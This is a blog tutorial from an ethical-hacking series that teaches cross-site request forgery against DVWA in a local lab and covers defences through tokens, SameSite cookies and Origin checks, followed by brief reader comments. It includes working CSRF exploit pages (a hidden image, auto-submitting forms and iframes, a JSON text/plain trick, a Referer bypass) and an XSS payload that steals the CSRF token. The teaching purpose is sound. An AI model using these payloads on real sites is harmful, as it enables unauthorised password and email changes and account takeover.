Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves

avatar
(Edited)

Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves

leh-banner.jpg

What will I learn

  • What CSRF is and why it's fundamentally different from XSS;
  • How browsers automatically attach cookies -- and why that's a problem;
  • Exploiting CSRF on DVWA: forcing password changes and actions without user consent;
  • Building CSRF exploit pages that trigger actions when visited;
  • POST-based CSRF and JSON API CSRF via hidden forms and fetch requests;
  • Token-based defenses: anti-CSRF tokens, SameSite cookies, referer validation;
  • Why AI-generated code almost never includes CSRF protection.

Requirements

  • A working modern computer running macOS, Windows or Ubuntu;
  • Your hacking lab from Episode 2 (Kali + DVWA);
  • Basic HTML and JavaScript knowledge;
  • The ambition to learn ethical hacking and security research.

Difficulty

  • Beginner

Curriculum (of the Learn Ethical Hacking series):

Solutions to Episode 15 Exercises

Exercise 1 -- XSS at all DVWA security levels:

Low: <script>alert(1)</script> works directly.
  Filter: NONE. Raw input reflected into HTML.

Medium: <script> tag stripped. Bypass: <img src=x onerror=alert(1)>
  Filter: str_replace("<script>", "", $input) -- only removes <script>.
  Why bypass works: 50+ other HTML elements support event handlers.

High: regex strips <script> variations. Bypass: <img src=x onerror=alert(1)>
  Filter: preg_replace("/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", $input)
  Why bypass works: regex only targets "script" -- doesn't know about
  img, svg, body, input, details, marquee, etc.

Impossible: htmlspecialchars() applied to ALL output.
  NO bypass -- encoding is the correct fix.

The key insight: each DVWA level shows a progressively "better" filter -- and each filter fails in the same fundamental way: blocklisting specific patterns instead of encoding output. Only the "Impossible" level (output encoding) is actually secure.

Exercise 2 -- XSS data exfiltration:

# Capture server logs all request details:
# Cookie: PHPSESSID=abc123; security=low
# Referer: http://target/dvwa/vulnerabilities/xss_s/
# User-Agent: Mozilla/5.0 (X11; Linux x86_64) ...

# Total exfiltrated from a single stored XSS:
# - Session cookie (full account access)
# - Current page URL (reveals what victim was viewing)
# - Browser/OS information (aids in further targeting)
# - Referrer URL (shows navigation path)
# - Screen resolution and installed plugins (fingerprinting)

The key insight: a single XSS gives the attacker a window into the victim's browser context. Combined with social engineering, this information enables highly targeted follow-up attacks.

Exercise 3 -- Samy Worm analysis:

The Samy Worm exploited stored XSS in MySpace profiles.
MySpace filtered <script> but allowed CSS expressions
(Internet Explorer) and JavaScript in style attributes.
Samy used: <div style="background:url('javascript:...')">

It propagated by: when a user viewed an infected profile,
the JavaScript added Samy as a friend AND copied the worm
payload into the VIEWER's profile. Exponential growth.

1 million profiles in 20 hours. MySpace had to go offline.

Modern defenses that would prevent it:
- CSP (blocks inline scripts and style-based JS)
- HttpOnly cookies (can't steal sessions)
- DOM sanitization libraries (DOMPurify)
- Framework-level auto-escaping (React, Angular, Vue)

Learn Ethical Hacking (#16) - Cross-Site Request Forgery

We spent two episodes on XSS -- injecting code into browsers, stealing sessions, bypassing filters and CSP. XSS is about making the application run YOUR code in the victim's browser. CSRF is a completely different beast. With CSRF, you don't inject any code into the target application at all. You make the victim's browser send a perfectly legitimate-looking request to the target application, using the victim's own session. No injection. No stolen cookies. The browser does exactly what browsers are designed to do -- and that's the problem.

Hier we gaan.

The Browser's Fatal Generosity

Here's the fundamental issue: browsers automatically attach cookies to every request sent to a domain, regardless of WHERE that request originates. If you're logged into your bank at bank.com, and you visit evil.com, and evil.com includes an image tag pointing to bank.com/transfer?to=attacker&amount=10000 -- your browser happily sends that request to the bank, with your session cookie attached. The bank sees a valid session cookie, a valid request, and processes the transfer.

The attacker never sees your cookie. They don't need to. They just need your browser to send a request on your behalf. Remember from episode 11 (HTTP Deep Dive) how we said HTTP is stateless and cookies are the entire mechanism for maintaining identity? That design decision -- automatic cookie attachment -- is what makes CSRF possible. The browser can't distinguish "a request the user intended to make" from "a request triggered by visiting an attacker's page." They both carry the same cookies, the same headers, the same authentication.

Think about what this means. With XSS (episodes 14-15), the attacker needed a vulnerability IN the target application -- some input that wasn't properly encoded. With CSRF, the target application can be perfectly coded, zero vulnerabilities in its own codebase, and it's STILL exploitable. The vulnerability isn't in the application's code. It's in how HTTP and cookies fundamentaly work ;-)

Hands-On: CSRF on DVWA

Set DVWA security to Low. Navigate to the CSRF page. You'll see a simple password change form with two fields: "New password" and "Confirm new password".

Change your password normally and watch the URL bar. DVWA sends this as a GET request:

http://192.168.56.101/dvwa/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change

All the parameters are right there in the URL. The password change is a GET request with no additional verification beyond the session cookie. No CSRF token, no password confirmation, no re-authentication. Just: are you logged in? Here's your new password.

Now create the exploit. On your Kali VM:

mkdir -p ~/csrf-lab
cat > ~/csrf-lab/evil.html << 'EOF'
<html>
<body>
<h1>You Won a Prize!</h1>
<p>Congratulations! Click here to claim your reward.</p>
<img src="http://localhost/dvwa/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Change=Change" width="1" height="1">
<p>Please wait while we process your reward...</p>
</body>
</html>
EOF

# Serve it on a different port
cd ~/csrf-lab && python3 -m http.server 9999

Now open a NEW browser tab (while still logged into DVWA in the other tab) and visit http://localhost:9999/evil.html. You see a page about winning a prize. Behind the scenes, the hidden 1x1 pixel <img> tag fired a request to DVWA's password change endpoint. Your browser attached the DVWA session cookie automatically. DVWA processed the request and changed your password to "pwned".

Try logging out and logging back in with your old password. It fails. The new password is "pwned". Your password was changed without you clicking any button, without you seeing any form, without you doing anything except visiting a page that had nothing to do with DVWA.

Dat is de hele aanval. Zo simpel is het.

Why This Is Different From XSS

People sometimes confuse CSRF with XSS because they both involve malicious web pages. But the attack model is fundamentally different:

XSS: The attacker injects code INTO the vulnerable application. The code runs in the context of the application. The attacker can read data, modify the DOM, steal cookies (if not HttpOnly), do anything JavaScript can do.

CSRF: The attacker tricks the browser into sending a request TO the vulnerable application. No code is injected into the application. The attacker can't read the response. They can only trigger state-changing actions (change password, transfer money, change email, delete account) -- blindly, without seeing what happened.

That "blindly" part is important. In a CSRF attack, the attacker's page makes a cross-origin request to bank.com. The same-origin policy prevents the attacker's JavaScript from reading the response from bank.com. So the attacker sends the request but can't see what the server returned. They don't know if it worked or failed. They're shooting blind. Having said that, for destructive actions (password changes, money transfers, account deletions) -- the damage is done whether or not the attacker sees the confirmation page.

POST-Based CSRF

The DVWA example used a GET request, which made it trivially exploitable via an <img> tag. But many state-changing operations use POST. That doesn't stop CSRF -- it just requires a hidden form instead of an image:

(html comment removed:  Auto-submitting hidden form )
<html>
<body onload="document.getElementById('csrf_form').submit()">
<form id="csrf_form" method="POST"
      action="http://target.com/change-email" style="display:none">
  <input name="email" value="[email protected]">
  <input name="confirm" value="[email protected]">
</form>
<h1>Loading your content...</h1>
</body>
</html>

The onload event fires as soon as the page loads, submitting the hidden form automatically. No user interaction. The POST request goes to target.com with the victim's cookies. The victim sees "Loading your content..." for a split second before being redirected to the target (because a form submission navigates the page).

For a stealthier version that doesn't navigate away, use an iframe:

<html>
<body>
<iframe name="csrf_frame" style="display:none"></iframe>
<form id="csrf_form" method="POST" target="csrf_frame"
      action="http://target.com/change-email" style="display:none">
  <input name="email" value="[email protected]">
  <input name="confirm" value="[email protected]">
</form>
<script>document.getElementById('csrf_form').submit();</script>
<h1>Nothing to see here ;-)</h1>
</body>
</html>

By setting the form's target to a hidden iframe, the submission happens silently. The victim's page doesn't navigate. They see "Nothing to see here" and move on, never knowing their email was just changed on target.com.

JSON API CSRF

Modern APIs often use Content-Type: application/json instead of form-encoded data. Can you CSRF those? It depends on the CORS configuration:

<script>
fetch('http://target.com/api/change-email', {
  method: 'POST',
  credentials: 'include',  // sends cookies
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: '[email protected]'})
});
</script>

This triggers a CORS preflight request -- the browser sends an OPTIONS request first, asking the server "is this cross-origin request allowed?" If the server responds with Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true, the browser proceeds with the actual request.

But here's the thing -- Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true can't actually be combined. The CORS spec forbids it. The origin must be specific (e.g., Access-Control-Allow-Origin: https://evil.com) for credentials to be included. So if the server echoes back the attacker's origin in the Access-Control-Allow-Origin header (which is a common misconfiguration), the attack works. If the server has a strict allowlist, it doesn't.

What about sending application/json as a "simple" request to avoid the preflight? That doesn't work either -- application/json is not in the list of CORS-safe content types (only application/x-www-form-urlencoded, multipart/form-data, and text/plain are). Any other Content-Type triggers a preflight.

However, some APIs don't actually validate the Content-Type header on the server side. If the API accepts form-encoded data even when it expects JSON, you can bypass the preflight entirely by submitting a regular HTML form. This is more common than you'd think -- many frameworks parse both JSON and form data automatically:

(html comment removed:  If the server doesn't strictly validate Content-Type )
<form method="POST" action="http://target.com/api/change-email"
      enctype="text/plain">
  <input name='{"email":"[email protected]","ignore":"' value='"}'>
</form>

This sends a POST with Content-Type text/plain (no preflight) and a body that looks like valid JSON. If the server parses it as JSON regardless of the Content-Type header -- congratulations, you just CSRF'd a JSON API with a plain HTML form. Prachtig.

Real-World CSRF Impact

CSRF has caused real damage in production:

  • ING Direct (banking): A CSRF vulnerability allowed attackers to open additional accounts and initiate transfers. The victim just had to visit a page while logged into their banking session. No credential theft, no code injection -- the browser did all the work.

  • Router admin panels: Home routers are notorious for CSRF. An attacker changes the victim's DNS server by CSRF'ing the router's admin panel (most people never change the default admin password, AND the router's web interface often has zero CSRF protection). Once DNS is compromised, the attacker can intercept, redirect, or modify all of the victim's internet traffic. We talked about DNS in episode 3 -- now you see how an attacker can compromise it without ever touching the router.

  • Netflix (2006): A CSRF vulnerability allowed attackers to change the email address on any Netflix account by having the victim visit a malicious page. Changed email means the attacker controls password resets. Account takeover via one page visit.

  • WordPress plugins: Dozens of WordPress plugins have had CSRF vulnerabilities that allowed attackers to create admin accounts, install malicious plugins, or modify site content. An admin visits a compromised page, and their WordPress site gets a new admin account they didn't create. We'll look at CMS-specific attacks in more detail later in the series.

DVWA at Higher Security Levels

At Medium security, DVWA adds a check: it compares the Referer header against the server name. The idea is that legitimate requests come from the DVWA page itself, so the Referer should contain the server hostname.

// DVWA Medium security CSRF check (simplified)
if (stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false)

This is bypassable. The check uses stripos -- it searches for the server name ANYWHERE in the Referer string. If the DVWA server's hostname is localhost, and the attacker hosts their exploit on a page at http://evil.com/localhost/attack.html, the Referer header contains "localhost" and the check passes:

(html comment removed:  Host this at http://evil.com/localhost/csrf.html )
(html comment removed:  The Referer header will contain "localhost" )
<img src="http://localhost/dvwa/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Change=Change">

At High security, DVWA adds an anti-CSRF token. The password change form includes a hidden user_token field that must match the server's expected value. Since the attacker can't read the DVWA page (same-origin policy prevents cross-origin reads), they can't extract the token to include in their forged request.

This is the correct defense. The token is per-session, unpredictable, and verified on every state-changing request. We'll build this properly in the defense section.

Having said that, even token-based protection can be broken if there's an XSS vulnerability elsewhere on the same origin. XSS on page A can read the CSRF token from page B (same origin, no policy violation) and then forge a valid CSRF request. This is why XSS and CSRF are related even though they're different attacks -- XSS on the same domain bypasses CSRF protection entirely. Defense in depth means fixing BOTH.

The Three Defenses

1. Anti-CSRF tokens -- the primary defense:

import secrets
from flask import Flask, session, request, render_template_string

app = Flask(__name__)
app.secret_key = secrets.token_hex(32)

@app.route('/change-password', methods=['GET'])
def change_password_form():
    token = secrets.token_hex(32)
    session['csrf_token'] = token
    return render_template_string('''
    <form method="POST" action="/change-password">
        <input type="hidden" name="csrf_token" value="{{ token }}">
        <label>New password:</label>
        <input type="password" name="new_password">
        <button>Change Password</button>
    </form>
    ''', token=token)

@app.route('/change-password', methods=['POST'])
def change_password():
    submitted_token = request.form.get('csrf_token', '')
    expected_token = session.get('csrf_token', '')

    if not submitted_token or submitted_token != expected_token:
        return "CSRF token invalid -- request rejected.", 403

    # Token valid -- safe to process the password change
    new_password = request.form.get('new_password')
    # ... update password in database ...
    return "Password changed successfully."

The token is random, unpredictable, and tied to the user's session. The attacker can craft a form that submits to /change-password, but they CAN'T include the correct csrf_token value because they don't know it. The same-origin policy prevents them from loading the form page and reading the token from the hidden field. Without the token, the server rejects the request.

Every major web framework has CSRF token support built in -- Django has it enabled by default ({% csrf_token %} in templates), Rails has protect_from_forgery, Express has the csurf middleware. The implementation is handled for you. You just have to not disable it (which, unfortunately, developers do when they get annoyed by 403 errors during development and then forget to re-enable it for production).

2. SameSite cookies -- the modern defense:

Set-Cookie: session=abc123; SameSite=Strict; HttpOnly; Secure

SameSite=Strict tells the browser: NEVER send this cookie with cross-site requests. Period. A form on evil.com submitting to bank.com won't include bank.com's session cookie. The request arrives at the bank with no session, so the server treats it as an unauthenticated request. CSRF defeated in one cookie attribute.

SameSite=Lax is a middle ground (and the default in modern Chrome and Firefox since 2020). Lax allows cookies on top-level GET navigations (clicking a link to bank.com still logs you in) but blocks them on POST requests, subresource requests (images, iframes), and form submissions from other origins. This stops most CSRF attacks while keeping the user experience intact -- you can still follow links to authenticated sites without having to log in every time.

# Setting SameSite in Flask
@app.after_request
def set_cookie_flags(response):
    # Modify the session cookie to add SameSite
    if 'Set-Cookie' in response.headers:
        cookies = response.headers.getlist('Set-Cookie')
        new_cookies = []
        for cookie in cookies:
            if 'SameSite' not in cookie:
                cookie += '; SameSite=Strict'
            new_cookies.append(cookie)
        response.headers.pop('Set-Cookie')
        for cookie in new_cookies:
            response.headers.add('Set-Cookie', cookie)
    return response

SameSite cookies are arguably the strongest CSRF defense available today because they work at the browser level -- the application doesn't need to do anything per-request (no tokens to generate, no tokens to validate). Set the attribute once and forget about it. The only limitation is legacy browser support, but as of 2026, every modern browser enforces SameSite.

3. Referer/Origin header validation:

ALLOWED_ORIGINS = ['https://myapp.com', 'https://www.myapp.com']

@app.before_request
def check_origin():
    if request.method in ('POST', 'PUT', 'DELETE', 'PATCH'):
        origin = request.headers.get('Origin', '')
        referer = request.headers.get('Referer', '')

        if origin:
            if origin not in ALLOWED_ORIGINS:
                return "Invalid origin", 403
        elif referer:
            from urllib.parse import urlparse
            ref_origin = f"{urlparse(referer).scheme}://{urlparse(referer).netloc}"
            if ref_origin not in ALLOWED_ORIGINS:
                return "Invalid referer", 403
        else:
            # No Origin AND no Referer -- reject to be safe
            return "Missing origin header", 403

The Origin header is sent by the browser on cross-origin requests and tells the server where the request came from. A request from evil.com has Origin: https://evil.com, not Origin: https://myapp.com. The attacker can't spoof the Origin header -- the browser sets it, not the client-side JavaScript.

Having said that, Origin/Referer validation is the weakest of the three defenses. Privacy extensions can strip the Referer header. Some browsers don't send Origin on same-origin requests. HTTPS-to-HTTP redirects drop the Referer. If your validation rejects requests with MISSING headers, you'll break functionality for some legitimate users. If you ALLOW requests with missing headers, you create a bypass (the attacker uses <meta name="referrer" content="no-referrer"> to strip the header). It's a useful supplementary check but should never be the ONLY defense.

Building a CSRF Scanner

Here's a Python script that checks forms for CSRF protection:

#!/usr/bin/env python3
"""
CSRF vulnerability scanner -- checks forms for anti-CSRF tokens
and inspects response headers for SameSite cookie attributes.
LAB USE ONLY.
"""
import requests
import re
import sys
from urllib.parse import urlparse

CSRF_TOKEN_NAMES = [
    'csrf', 'csrf_token', '_csrf', 'csrfmiddlewaretoken',
    'token', '_token', 'nonce', 'authenticity_token',
    'xsrf', '_xsrf', 'anti-csrf', '__RequestVerificationToken'
]

def check_samesite(response):
    """Check if response cookies have SameSite attribute."""
    samesite_cookies = []
    unprotected_cookies = []
    for cookie_header in response.headers.getlist('Set-Cookie') if hasattr(response.headers, 'getlist') else []:
        if 'samesite' in cookie_header.lower():
            samesite_cookies.append(cookie_header.split('=')[0])
        else:
            unprotected_cookies.append(cookie_header.split('=')[0])
    return samesite_cookies, unprotected_cookies

def find_forms(html):
    """Extract forms and their hidden inputs."""
    forms = re.findall(r'<form[^>]*>(.*?)</form>', html, re.DOTALL | re.IGNORECASE)
    results = []
    for form in forms:
        hidden_inputs = re.findall(
            r'<input[^>]*type=["\']hidden["\'][^>]*name=["\']([^"\']+)["\']',
            form, re.IGNORECASE
        )
        method = 'GET'
        method_match = re.search(r'method=["\'](\w+)["\']', form, re.IGNORECASE)
        if method_match:
            method = method_match.group(1).upper()
        results.append({'method': method, 'hidden_inputs': hidden_inputs})
    return results

def scan_csrf(url, cookies=None):
    """Scan a URL for CSRF vulnerabilities."""
    print(f"[*] Scanning: {url}")
    try:
        resp = requests.get(url, cookies=cookies, timeout=10)
    except requests.RequestException as e:
        print(f"[-] Request failed: {e}")
        return

    forms = find_forms(resp.text)
    print(f"[*] Found {len(forms)} form(s)")

    for i, form in enumerate(forms):
        print(f"\n  Form #{i+1} ({form['method']}):")
        has_token = False
        for hidden in form['hidden_inputs']:
            if any(name in hidden.lower() for name in CSRF_TOKEN_NAMES):
                has_token = True
                print(f"    [+] CSRF token found: {hidden}")

        if not has_token:
            print(f"    [-] NO CSRF token detected")

        # Check SameSite on cookies
        for header_name, header_val in resp.headers.items():
            if header_name.lower() == 'set-cookie':
                if 'samesite' in header_val.lower():
                    print(f"    [+] SameSite cookie: {header_val[:50]}...")
                else:
                    print(f"    [-] Cookie WITHOUT SameSite: {header_val[:50]}...")

        # Risk assessment
        if not has_token:
            print(f"    [!] RISK: HIGH -- no CSRF token, state-changing form")
        else:
            print(f"    [*] RISK: LOW -- CSRF token present")

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <url> [cookie_string]")
        sys.exit(1)
    cookies = {}
    if len(sys.argv) > 2:
        for part in sys.argv[2].split(';'):
            if '=' in part:
                k, v = part.strip().split('=', 1)
                cookies[k] = v
    scan_csrf(sys.argv[1], cookies or None)

Run it against DVWA:

python3 csrf_scanner.py "http://localhost/dvwa/vulnerabilities/csrf/" "PHPSESSID=abc123;security=low"

At Low security, it finds the form with no CSRF token -- HIGH risk. At High security, it finds the user_token hidden field -- LOW risk. This is the kind of tool that pentesters run as a first pass before manual testing.

The AI Slop Angle

CSRF protection is the thing AI code assistants forget most consistently (continuing our thread from episodes 6, 12, and 14):

  • Flask routes without CSRF middleware -- the code handles form submissions and updates the database, everything "works", but there's zero CSRF protection
  • Django views where someone disabled CsrfViewMiddleware because it was "causing 403 errors during development" and then shipped it to production
  • Express.js APIs that authenticate via cookies but never validate the Origin header or include CSRF tokens
  • React forms that POST to backend APIs using credentials: 'include' (sends cookies) without any CSRF token in the request

The pattern is identical to what we saw with SQL injection and XSS: the vulnerable code is functionally correct. Forms submit, data changes, passwords update, emails send. The CSRF vulnerability is completely invisible during development and testing because the developer IS the legitimate user -- their requests are always same-origin. The vulnerability only manifests when a different origin (the attacker's page) triggers the same request. And since nobody writes tests for "what happens when a malicious page submits this form," it ships to production unprotected.

I keep saying this because it keeps being true: AI-generated code optimizes for "does it work?" not "is it safe?" The CSRF-vulnerable version is shorter, simpler, and passes all functional tests. The secure version requires extra middleware, extra template tags, extra validation logic. The AI picks the shorter path every time because that's what gets upvoted on Stack Overflow and that's what fills its training data ;-)

CSRF + XSS: The Deadly Combination

One thing worth understanding before we move on: CSRF defenses are completely defeated by XSS on the same origin.

If an attacker finds an XSS vulnerability on bank.com, they can use that XSS to:

  1. Load the password change form (same origin -- no CORS restriction)
  2. Read the CSRF token from the hidden field
  3. Submit the form with the correct token
// XSS payload that bypasses CSRF token protection
fetch('/change-password')
  .then(r => r.text())
  .then(html => {
    let token = html.match(/name="csrf_token" value="([^"]+)"/)[1];
    fetch('/change-password', {
      method: 'POST',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: 'csrf_token=' + token + '&new_password=pwned'
    });
  });

The CSRF token means nothing when the attacker has JavaScript execution on the same origin. Same-origin policy -- the thing that prevents cross-origin CSRF token theft -- doesn't apply when the attacker's code is already running on the target origin via XSS. This is why we hammered output encoding so hard in episodes 14 and 15: XSS doesn't just steal cookies. It invalidates your CSRF defense, your SameSite cookies (the request IS same-site now), and basically every client-side security measure. Fix XSS first.

The State of CSRF in 2026

CSRF used to be a top-5 OWASP vulnerability. In 2021, OWASP removed it as a standalone category, merging it into "Security Misconfiguration." Not because CSRF went away, but because modern browser defaults (SameSite=Lax as default) and framework-level protections (Django, Rails, and Laravel all have CSRF protection enabled by default) have reduced its prevalence in well-maintained applications.

But "well-maintained" is doing a lot of heavy lifting in that sentence. Custom APIs without framework protection, legacy applications that predate SameSite cookies, single-page applications using cookie-based auth without CSRF tokens, and every application running on a browser that hasn't updated in years -- all stil vulnerable. CSRF isn't solved. It's just easier to prevent if you use modern tools correctly. And as we've been seeing throughout this series, "use modern tools correctly" is a bar that a shocking number of applications fail to clear.

The web attack surface keeps layering. SQL injection attacks the database. XSS attacks the browser. CSRF weaponizes the browser against the server. Each attack exploits a different trust boundary -- and they chain together in ways that make the whole greater than the sum of the parts. We'll keep peeling back these layers as the series continues.

Exercises

Exercise 1: Exploit the DVWA CSRF vulnerability at Low security. Create an HTML page that, when visited by a logged-in DVWA user, changes their password without any user interaction. Host it on a different port (python3 -m http.server 9999). Test the full chain: log into DVWA in one tab, visit your exploit page in another tab, then verify the password was changed. Then try the Medium security level -- examine the source code, identify the Referer check, and create a bypass exploit where the Referer header contains the server hostname. Document both attacks in ~/lab-notes/dvwa-csrf-attacks.md.

Exercise 2: Write a Python CSRF scanner (csrf_scanner.py) that takes a URL and session cookies, fetches the page, finds all <form> elements, and for each form: (a) checks for hidden inputs with names containing "token", "csrf", "_csrf", "nonce", or "authenticity_token", (b) checks the response headers for SameSite cookie attributes, (c) reports the CSRF risk level (High: no token + no SameSite, Medium: one protection present, Low: both protections present). Test it against DVWA at Low, Medium, and High security levels. Save the script as ~/pentest-tools/csrf_scanner.py.

Exercise 3: Build two versions of a Flask password-change application: one vulnerable and one protected. The vulnerable version should accept POST requests with no CSRF protection. The protected version should implement all three defenses: an anti-CSRF token in the form (using secrets.token_hex), SameSite=Strict on the session cookie, and Origin header validation. Then write a test script that serves an attack page and attempts CSRF against both versions -- proving the vulnerable version changes the password and the protected version returns 403. Save everything in ~/csrf-lab/.


@scipio



0
0
0.000
3 comments
avatar

Totally agree that discipline and execution (like doing the Power Up) are key, both in finance and cybersecurity.

0
0
0.000
avatar

LOL, did you even read my article? It's about CSRF + XSS, not Hive power ups.
Sure, on this specific blockchain as it takes 7 days to power down 1/13th of your staked Hive that gives you some time to contact your recovery account to avoid getting drained after having being PWN'ed.

ps, even tho your own upvote value isn't worth much, it doesn't hurt to upvote my content if you enjoy it so much. Don't worry, I'll keep upvoting your comments too (if you at least keep them on-topic from here on) ;-)

Cheers, @scipio

0
0
0.000
avatar

You're right! I got my tabs mixed up while commenting. Thanks for the clarification; I'll read more carefully about CSRF and XSS now that you mention it

0
0
0.000